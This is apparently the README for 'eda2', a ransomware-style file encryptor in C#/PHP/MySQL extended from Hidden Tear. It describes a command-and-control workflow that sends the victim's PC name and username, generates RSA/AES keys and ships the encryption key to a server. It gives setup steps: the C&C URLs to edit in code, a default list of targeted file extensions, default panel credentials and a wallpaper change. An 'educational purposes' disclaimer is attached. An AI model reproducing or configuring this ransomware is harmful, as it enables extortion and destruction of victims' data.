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     / _ \/ _` |/ _` | / / 
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It's a ransomware-like file crypter sample which can be modified for specific purposes. It's more extended version of hidden tear.

Features

  • Uses both RSA and AES algorithms.
  • Coordinates with a Command&Control server.
  • Uses CSPRNG
  • Uses phplibsec
  • Encrypted files can be decrypted in decryption program with encryption key.
  • Changes desktop background.

Demonstration Video

https://www.youtube.com/watch?v=PD16u1Rz2QI

Workflow

  • Program sends a POST request to the C&C server with pcname and username variables.
  • C&C server creates RSA public/private key pair. Sends public key to the program, saves private key inside the Mysql database
  • Program creates a random key for AES algorithm
  • Program encrypts files with AES algorithm
  • Program encrypts AES key with RSA public key and sends it to the C&C server with POST request
  • C&C server saves encrypted AES key inside the Mysql Database

Usage

  • You need to have a web server which runs Php and Mysql. Change this line with your URL

    string generatorUrl = "http://www.example.com/panel/createkeys.php"; 
    string keySaveUrl = "http://www.example.com/panel/savekey.php"; 
    
  • It uses 2048 as RSA key size. You can change it

    const int keySize = 2048;

  • Target file extensions can be change. Default list:

    var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png",     ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};
    
  • Edit your database settings in db.php

  • Default login credentials for web panel: username:test password:test

  • You can use Hidden Tear's decryption program to decrypt files.

Legal Warning

While this may be helpful for some, there are significant risks. eda2 may be used only for Educational Purposes. Do not use it as a ransomware! You could go to jail on obstruction of justice charges just for running eda2, even though you are innocent.

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rsmware forked C#/PHP/MySQL

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